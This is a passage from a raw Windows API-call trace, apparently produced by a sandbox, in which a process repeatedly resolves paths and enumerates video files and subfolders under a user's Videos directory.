nBufferLength=0x105, lpBuffer=0x1ca2e370, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\dl8VaK1 rn9WLatTlI\\LQz6AdzNi4BeZmO", lpFilePart=0x0) returned 0x47 [0080.498] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\dl8VaK1 rn9WLatTlI\\LQz6AdzNi4BeZmO", nBufferLength=0x105, lpBuffer=0x1ca2e370, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\dl8VaK1 rn9WLatTlI\\LQz6AdzNi4BeZmO", lpFilePart=0x0) returned 0x47 [0080.498] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\dl8VaK1 rn9WLatTlI\\LQz6AdzNi4BeZmO", nBufferLength=0x105, lpBuffer=0x1ca2e370, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\dl8VaK1 rn9WLatTlI\\LQz6AdzNi4BeZmO", lpFilePart=0x0) returned 0x47 [0080.498] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\dl8VaK1 rn9WLatTlI\\LQz6AdzNi4BeZmO", nBufferLength=0x105, lpBuffer=0x1ca2e370, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\dl8VaK1 rn9WLatTlI\\LQz6AdzNi4BeZmO", lpFilePart=0x0) returned 0x47 [0080.498] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\dl8VaK1 rn9WLatTlI\\LQz6AdzNi4BeZmO", nBufferLength=0x105, lpBuffer=0x1ca2e370, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\dl8VaK1 rn9WLatTlI\\LQz6AdzNi4BeZmO", lpFilePart=0x0) returned 0x47 [0080.498] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\dl8VaK1 rn9WLatTlI\\LQz6AdzNi4BeZmO", nBufferLength=0x105, lpBuffer=0x1ca2e370, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\dl8VaK1 rn9WLatTlI\\LQz6AdzNi4BeZmO", lpFilePart=0x0) returned 0x47 [0080.498] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\dl8VaK1 rn9WLatTlI\\LQz6AdzNi4BeZmO", nBufferLength=0x105, lpBuffer=0x1ca2e370, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\dl8VaK1 rn9WLatTlI\\LQz6AdzNi4BeZmO", lpFilePart=0x0) returned 0x47 [0080.498] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\dl8VaK1 rn9WLatTlI\\LQz6AdzNi4BeZmO", nBufferLength=0x105, lpBuffer=0x1ca2e370, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\dl8VaK1 rn9WLatTlI\\LQz6AdzNi4BeZmO", lpFilePart=0x0) returned 0x47 [0080.498] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\dl8VaK1 rn9WLatTlI\\LQz6AdzNi4BeZmO", nBufferLength=0x105, lpBuffer=0x1ca2e370, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\dl8VaK1 rn9WLatTlI\\LQz6AdzNi4BeZmO", lpFilePart=0x0) returned 0x47 [0080.499] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\dl8VaK1 rn9WLatTlI\\LQz6AdzNi4BeZmO", nBufferLength=0x105, lpBuffer=0x1ca2e370, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\dl8VaK1 rn9WLatTlI\\LQz6AdzNi4BeZmO", lpFilePart=0x0) returned 0x47 [0080.499] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\dl8VaK1 rn9WLatTlI\\LQz6AdzNi4BeZmO", nBufferLength=0x105, lpBuffer=0x1ca2e370, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\dl8VaK1 rn9WLatTlI\\LQz6AdzNi4BeZmO", lpFilePart=0x0) returned 0x47 [0080.499] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\dl8VaK1 rn9WLatTlI\\LQz6AdzNi4BeZmO", nBufferLength=0x105, lpBuffer=0x1ca2e370, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\dl8VaK1 rn9WLatTlI\\LQz6AdzNi4BeZmO", lpFilePart=0x0) returned 0x47 [0080.499] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\dl8VaK1 rn9WLatTlI\\LQz6AdzNi4BeZmO", nBufferLength=0x105, lpBuffer=0x1ca2e370, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\dl8VaK1 rn9WLatTlI\\LQz6AdzNi4BeZmO", lpFilePart=0x0) returned 0x47 [0080.499] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\dl8VaK1 rn9WLatTlI\\LQz6AdzNi4BeZmO", nBufferLength=0x105, lpBuffer=0x1ca2e370, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\dl8VaK1 rn9WLatTlI\\LQz6AdzNi4BeZmO", lpFilePart=0x0) returned 0x47 [0080.499] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\dl8VaK1 rn9WLatTlI\\LQz6AdzNi4BeZmO", nBufferLength=0x105, lpBuffer=0x1ca2e370, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\dl8VaK1 rn9WLatTlI\\LQz6AdzNi4BeZmO", lpFilePart=0x0) returned 0x47 [0080.499] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ca2e8a0) returned 1 [0080.499] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\dl8VaK1 rn9WLatTlI\\LQz6AdzNi4BeZmO", nBufferLength=0x105, lpBuffer=0x1ca2e390, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\dl8VaK1 rn9WLatTlI\\LQz6AdzNi4BeZmO", lpFilePart=0x0) returned 0x47 [0080.499] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\dl8VaK1 rn9WLatTlI\\LQz6AdzNi4BeZmO\\", nBufferLength=0x105, lpBuffer=0x1ca2e330, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\dl8VaK1 rn9WLatTlI\\LQz6AdzNi4BeZmO\\", lpFilePart=0x0) returned 0x48 [0080.499] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\dl8VaK1 rn9WLatTlI\\LQz6AdzNi4BeZmO\\*", lpFindFileData=0x1ca2e540 | out: lpFindFileData=0x1ca2e540*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe6129f90, ftCreationTime.dwHighDateTime=0x1d5e16e, ftLastAccessTime.dwLowDateTime=0x1aeba680, ftLastAccessTime.dwHighDateTime=0x1d5ded1, ftLastWriteTime.dwLowDateTime=0x1aeba680, ftLastWriteTime.dwHighDateTime=0x1d5ded1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1a62a830 [0080.500] FindNextFileW (in: hFindFile=0x1a62a830, lpFindFileData=0x1ca2e620 | out: lpFindFileData=0x1ca2e620*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe6129f90, ftCreationTime.dwHighDateTime=0x1d5e16e, ftLastAccessTime.dwLowDateTime=0x1aeba680, ftLastAccessTime.dwHighDateTime=0x1d5ded1, ftLastWriteTime.dwLowDateTime=0x1aeba680, ftLastWriteTime.dwHighDateTime=0x1d5ded1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0080.500] FindNextFileW (in: hFindFile=0x1a62a830, lpFindFileData=0x1ca2e620 | out: lpFindFileData=0x1ca2e620*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7d05f1a0, ftCreationTime.dwHighDateTime=0x1d5dfd4, ftLastAccessTime.dwLowDateTime=0x430798c0, ftLastAccessTime.dwHighDateTime=0x1d5e004, ftLastWriteTime.dwLowDateTime=0x430798c0, ftLastWriteTime.dwHighDateTime=0x1d5e004, nFileSizeHigh=0x0, nFileSizeLow=0x74ce, dwReserved0=0x0, dwReserved1=0x0, cFileName="5crMlWy.avi", cAlternateFileName="")) returned 1 [0080.500] FindNextFileW (in: hFindFile=0x1a62a830, lpFindFileData=0x1ca2e620 | out: lpFindFileData=0x1ca2e620*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x54241730, ftCreationTime.dwHighDateTime=0x1d5e029, ftLastAccessTime.dwLowDateTime=0xb1dcd230, ftLastAccessTime.dwHighDateTime=0x1d5dc24, ftLastWriteTime.dwLowDateTime=0xb1dcd230, ftLastWriteTime.dwHighDateTime=0x1d5dc24, nFileSizeHigh=0x0, nFileSizeLow=0x3847, dwReserved0=0x0, dwReserved1=0x0, cFileName="7mIW.avi", cAlternateFileName="")) returned 1 [0080.500] FindNextFileW (in: hFindFile=0x1a62a830, lpFindFileData=0x1ca2e620 | out: lpFindFileData=0x1ca2e620*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfdc87590, ftCreationTime.dwHighDateTime=0x1d5e5b2, ftLastAccessTime.dwLowDateTime=0x13a4d5d0, ftLastAccessTime.dwHighDateTime=0x1d5ddb0, ftLastWriteTime.dwLowDateTime=0x13a4d5d0, ftLastWriteTime.dwHighDateTime=0x1d5ddb0, nFileSizeHigh=0x0, nFileSizeLow=0x70b6, dwReserved0=0x0, dwReserved1=0x0, cFileName="ESQJvKyYoJMFb.mp4", cAlternateFileName="ESQJVK~1.MP4")) returned 1 [0080.500] FindNextFileW (in: hFindFile=0x1a62a830, lpFindFileData=0x1ca2e620 | out: lpFindFileData=0x1ca2e620*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc6850560, ftCreationTime.dwHighDateTime=0x1d5db0a, ftLastAccessTime.dwLowDateTime=0xb5073e10, ftLastAccessTime.dwHighDateTime=0x1d5dc9b, ftLastWriteTime.dwLowDateTime=0xb5073e10, ftLastWriteTime.dwHighDateTime=0x1d5dc9b, nFileSizeHigh=0x0, nFileSizeLow=0x13dd6, dwReserved0=0x0, dwReserved1=0x0, cFileName="V7FDYZFW0I95n.mkv", cAlternateFileName="V7FDYZ~1.MKV")) returned 1 [0080.501] FindNextFileW (in: hFindFile=0x1a62a830, lpFindFileData=0x1ca2e620 | out: lpFindFileData=0x1ca2e620*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc6850560, ftCreationTime.dwHighDateTime=0x1d5db0a, ftLastAccessTime.dwLowDateTime=0xb5073e10, ftLastAccessTime.dwHighDateTime=0x1d5dc9b, ftLastWriteTime.dwLowDateTime=0xb5073e10, ftLastWriteTime.dwHighDateTime=0x1d5dc9b, nFileSizeHigh=0x0, nFileSizeLow=0x13dd6, dwReserved0=0x0, dwReserved1=0x0, cFileName="V7FDYZFW0I95n.mkv", cAlternateFileName="V7FDYZ~1.MKV")) returned 0 [0080.501] FindClose (in: hFindFile=0x1a62a830 | out: hFindFile=0x1a62a830) returned 1 [0080.501] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ca2e880) returned 1 [0080.501] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ca2e870) returned 1 [0080.501] FindNextFileW (in: hFindFile=0x1a62a7d0, lpFindFileData=0x1ca2e680 | out: lpFindFileData=0x1ca2e680*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x13bdd740, ftCreationTime.dwHighDateTime=0x1d5db9b, ftLastAccessTime.dwLowDateTime=0x9105eff0, ftLastAccessTime.dwHighDateTime=0x1d5d801, ftLastWriteTime.dwLowDateTime=0x9105eff0, ftLastWriteTime.dwHighDateTime=0x1d5d801, nFileSizeHigh=0x0, nFileSizeLow=0xac14, dwReserved0=0x0, dwReserved1=0x0, cFileName="MX6 FPUAqVloMxeN.flv", cAlternateFileName="MX6FPU~1.FLV")) returned 1 [0080.501] FindNextFileW (in: hFindFile=0x1a62a7d0, lpFindFileData=0x1ca2e680 | out: lpFindFileData=0x1ca2e680*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8b19ad60, ftCreationTime.dwHighDateTime=0x1d5db9a, ftLastAccessTime.dwLowDateTime=0xdebf16d0, ftLastAccessTime.dwHighDateTime=0x1d5df5f, ftLastWriteTime.dwLowDateTime=0xdebf16d0, ftLastWriteTime.dwHighDateTime=0x1d5df5f, nFileSizeHigh=0x0, nFileSizeLow=0x18a00, dwReserved0=0x0, dwReserved1=0x0, cFileName="SRQXm E74RAVLQBz SP.mp4", cAlternateFileName="SRQXME~1.MP4")) returned 1 [0080.501] FindNextFileW (in: hFindFile=0x1a62a7d0, lpFindFileData=0x1ca2e680 | out: lpFindFileData=0x1ca2e680*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe07adf0, ftCreationTime.dwHighDateTime=0x1d5e418, ftLastAccessTime.dwLowDateTime=0x4ad19210, ftLastAccessTime.dwHighDateTime=0x1d5e5d9, ftLastWriteTime.dwLowDateTime=0x4ad19210, ftLastWriteTime.dwHighDateTime=0x1d5e5d9, nFileSizeHigh=0x0, nFileSizeLow=0x5db, dwReserved0=0x0, dwReserved1=0x0, cFileName="vivyJ4WkdB 3zmkLsUS.mp4", cAlternateFileName="VIVYJ4~1.MP4")) returned 1 [0080.502] FindNextFileW (in: hFindFile=0x1a62a7d0, lpFindFileData=0x1ca2e680 | out: lpFindFileData=0x1ca2e680*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd099b7c0, ftCreationTime.dwHighDateTime=0x1d5dc5a, ftLastAccessTime.dwLowDateTime=0xe1435280, ftLastAccessTime.dwHighDateTime=0x1d5df24, ftLastWriteTime.dwLowDateTime=0xe1435280, ftLastWriteTime.dwHighDateTime=0x1d5df24, nFileSizeHigh=0x0, nFileSizeLow=0x4c39, dwReserved0=0x0, dwReserved1=0x0, cFileName="YWyU2O.flv", cAlternateFileName="")) returned 1 [0080.502] FindNextFileW (in: hFindFile=0x1a62a7d0, lpFindFileData=0x1ca2e680 | out: lpFindFileData=0x1ca2e680*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd099b7c0, ftCreationTime.dwHighDateTime=0x1d5dc5a, ftLastAccessTime.dwLowDateTime=0xe1435280, ftLastAccessTime.dwHighDateTime=0x1d5df24, ftLastWriteTime.dwLowDateTime=0xe1435280, ftLastWriteTime.dwHighDateTime=0x1d5df24, nFileSizeHigh=0x0, nFileSizeLow=0x4c39, dwReserved0=0x0, dwReserved1=0x0, cFileName="YWyU2O.flv", cAlternateFileName="")) returned 0 [0080.502] FindClose (in: hFindFile=0x1a62a7d0 | out: hFindFile=0x1a62a7d0) returned 1 [0080.502] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ca2e8e0) returned 1 [0080.502] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ca2e8d0) returned 1 [0080.502] FindNextFileW (in: hFindFile=0x1a578ea0, lpFindFileData=0x1ca2e6e0 | out: lpFindFileData=0x1ca2e6e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd77d11e0, ftCreationTime.dwHighDateTime=0x1d5daed, ftLastAccessTime.dwLowDateTime=0x53c374a0, ftLastAccessTime.dwHighDateTime=0x1d5de3c, ftLastWriteTime.dwLowDateTime=0x53c374a0, ftLastWriteTime.dwHighDateTime=0x1d5de3c, nFileSizeHigh=0x0, nFileSizeLow=0xfac9, dwReserved0=0x0, dwReserved1=0x0, cFileName="E8cREdci.mp4", cAlternateFileName="")) returned 1 [0080.503] FindNextFileW (in: hFindFile=0x1a578ea0, lpFindFileData=0x1ca2e6e0 | out: lpFindFileData=0x1ca2e6e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4fc0ec50, ftCreationTime.dwHighDateTime=0x1d5e749, ftLastAccessTime.dwLowDateTime=0x1b9fde90, ftLastAccessTime.dwHighDateTime=0x1d5d92f, ftLastWriteTime.dwLowDateTime=0x1b9fde90, ftLastWriteTime.dwHighDateTime=0x1d5d92f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Gxe419OS4bcxMdlnN6", cAlternateFileName="GXE419~1")) returned 1 [0080.503] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\Gxe419OS4bcxMdlnN6", nBufferLength=0x105, lpBuffer=0x1ca2e3d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\Gxe419OS4bcxMdlnN6", lpFilePart=0x0) returned 0x37 [0080.503] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\Gxe419OS4bcxMdlnN6", nBufferLength=0x105, lpBuffer=0x1ca2e3d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\Gxe419OS4bcxMdlnN6", lpFilePart=0x0) returned 0x37 [0080.503] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\Gxe419OS4bcxMdlnN6", nBufferLength=0x105, lpBuffer=0x1ca2e3d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\Gxe419OS4bcxMdlnN6", lpFilePart=0x0) returned 0x37 [0080.503] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\Gxe419OS4bcxMdlnN6", nBufferLength=0x105, lpBuffer=0x1ca2e3d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\Gxe419OS4bcxMdlnN6", lpFilePart=0x0) returned 0x37 [0080.503] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\Gxe419OS4bcxMdlnN6", nBufferLength=0x105, lpBuffer=0x1ca2e3d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\Gxe419OS4bcxMdlnN6", lpFilePart=0x0) returned 0x37 [0080.503] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\Gxe419OS4bcxMdlnN6", nBufferLength=0x105, lpBuffer=0x1ca2e3d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\Gxe419OS4bcxMdlnN6", lpFilePart=0x0) returned 0x37 [0080.503] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\Gxe419OS4bcxMdlnN6", nBufferLength=0x105, lpBuffer=0x1ca2e3d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\Gxe419OS4bcxMdlnN6", lpFilePart=0x0) returned 0x37 [0080.503] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\Gxe419OS4bcxMdlnN6", nBufferLength=0x105, lpBuffer=0x1ca2e3d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\Gxe419OS4bcxMdlnN6", lpFilePart=0x0) returned 0x37 [0080.503] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\Gxe419OS4bcxMdlnN6", nBufferLength=0x105, lpBuffer=0x1ca2e3d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\Gxe419OS4bcxMdlnN6", lpFilePart=0x0) returned 0x37 [0080.503] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\Gxe419OS4bcxMdlnN6", nBufferLength=0x105, lpBuffer=0x1ca2e3d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\Gxe419OS4bcxMdlnN6", lpFilePart=0x0) returned 0x37 [0080.503] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\Gxe419OS4bcxMdlnN6", nBufferLength=0x105, lpBuffer=0x1ca2e3d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\Gxe419OS4bcxMdlnN6", lpFilePart=0x0) returned 0x37 [0080.503] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\Gxe419OS4bcxMdlnN6", nBufferLength=0x105, lpBuffer=0x1ca2e3d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\Gxe419OS4bcxMdlnN6", lpFilePart=0x0) returned 0x37 [0080.504] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\Gxe419OS4bcxMdlnN6", nBufferLength=0x105, lpBuffer=0x1ca2e3d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\Gxe419OS4bcxMdlnN6", lpFilePart=0x0) returned 0x37 [0080.504] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\Gxe419OS4bcxMdlnN6", nBufferLength=0x105, lpBuffer=0x1ca2e3d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\Gxe419OS4bcxMdlnN6", lpFilePart=0x0) returned 0x37 [0080.504] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\Gxe419OS4bcxMdlnN6", nBufferLength=0x105, lpBuffer=0x1ca2e3d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\Gxe419OS4bcxMdlnN6", lpFilePart=0x0) returned 0x37 [0080.504] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\Gxe419OS4bcxMdlnN6", nBufferLength=0x105, lpBuffer=0x1ca2e3d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\Gxe419OS4bcxMdlnN6", lpFilePart=0x0) returned 0x37 [0080.504] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\Gxe419OS4bcxMdlnN6", nBufferLength=0x105, lpBuffer=0x1ca2e3d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\Gxe419OS4bcxMdlnN6", lpFilePart=0x0) returned 0x37 [0080.504] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\Gxe419OS4bcxMdlnN6", nBufferLength=0x105, lpBuffer=0x1ca2e3d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\Gxe419OS4bcxMdlnN6", lpFilePart=0x0) returned 0x37 [0080.504] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\Gxe419OS4bcxMdlnN6", nBufferLength=0x105, lpBuffer=0x1ca2e3d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\Gxe419OS4bcxMdlnN6", lpFilePart=0x0) returned 0x37 [0080.504] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\Gxe419OS4bcxMdlnN6", nBufferLength=0x105, lpBuffer=0x1ca2e3d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\Gxe419OS4bcxMdlnN6", lpFilePart=0x0) returned 0x37 [0080.504] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\Gxe419OS4bcxMdlnN6", nBufferLength=0x105, lpBuffer=0x1ca2e3d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\Gxe419OS4bcxMdlnN6", lpFilePart=0x0) returned 0x37 [0080.504] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\Gxe419OS4bcxMdlnN6", nBufferLength=0x105, lpBuffer=0x1ca2e3d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\Gxe419OS4bcxMdlnN6", lpFilePart=0x0) returned 0x37 [0080.504] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ca2e900) returned 1 [0080.504] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\Gxe419OS4bcxMdlnN6", nBufferLength=0x105, lpBuffer=0x1ca2e3f0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\Gxe419OS4bcxMdlnN6", lpFilePart=0x0) returned 0x37 [0080.504] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\Gxe419OS4bcxMdlnN6\\", nBufferLength=0x105, lpBuffer=0x1ca2e390, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\Gxe419OS4bcxMdlnN6\\", lpFilePart=0x0) returned 0x38 [0080.504] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\Gxe419OS4bcxMdlnN6\\*", lpFindFileData=0x1ca2e5a0 | out: lpFindFileData=0x1ca2e5a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4fc0ec50, ftCreationTime.dwHighDateTime=0x1d5e749, ftLastAccessTime.dwLowDateTime=0x1b9fde90, ftLastAccessTime.dwHighDateTime=0x1d5d92f, ftLastWriteTime.dwLowDateTime=0x1b9fde90, ftLastWriteTime.dwHighDateTime=0x1d5d92f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1a62a7d0 [0080.505] FindNextFileW (in: hFindFile=0x1a62a7d0, lpFindFileData=0x1ca2e680 | out: lpFindFileData=0x1ca2e680*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4fc0ec50, ftCreationTime.dwHighDateTime=0x1d5e749, ftLastAccessTime.dwLowDateTime=0x1b9fde90, ftLastAccessTime.dwHighDateTime=0x1d5d92f, ftLastWriteTime.dwLowDateTime=0x1b9fde90, ftLastWriteTime.dwHighDateTime=0x1d5d92f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0080.505] FindNextFileW (in: hFindFile=0x1a62a7d0, lpFindFileData=0x1ca2e680 | out: lpFindFileData=0x1ca2e680*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x39732a70, ftCreationTime.dwHighDateTime=0x1d5d944, ftLastAccessTime.dwLowDateTime=0x9bbf0a10, ftLastAccessTime.dwHighDateTime=0x1d5df6f, ftLastWriteTime.dwLowDateTime=0x9bbf0a10, ftLastWriteTime.dwHighDateTime=0x1d5df6f, nFileSizeHigh=0x0, nFileSizeLow=0xa549, dwReserved0=0x0, dwReserved1=0x0, cFileName="eRzVeBe.avi", cAlternateFileName="")) returned 1 [0080.505] FindNextFileW (in: hFindFile=0x1a62a7d0, lpFindFileData=0x1ca2e680 | out: lpFindFileData=0x1ca2e680*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2c9d0a40, ftCreationTime.dwHighDateTime=0x1d5e05c, ftLastAccessTime.dwLowDateTime=0xff228ad0, ftLastAccessTime.dwHighDateTime=0x1d5d81e, ftLastWriteTime.dwLowDateTime=0xff228ad0, ftLastWriteTime.dwHighDateTime=0x1d5d81e, nFileSizeHigh=0x0, nFileSizeLow=0xa31d, dwReserved0=0x0, dwReserved1=0x0, cFileName="Eu__hyt_q.flv", cAlternateFileName="EU__HY~1.FLV")) returned 1 [0080.505] FindNextFileW (in: hFindFile=0x1a62a7d0, lpFindFileData=0x1ca2e680 | out: 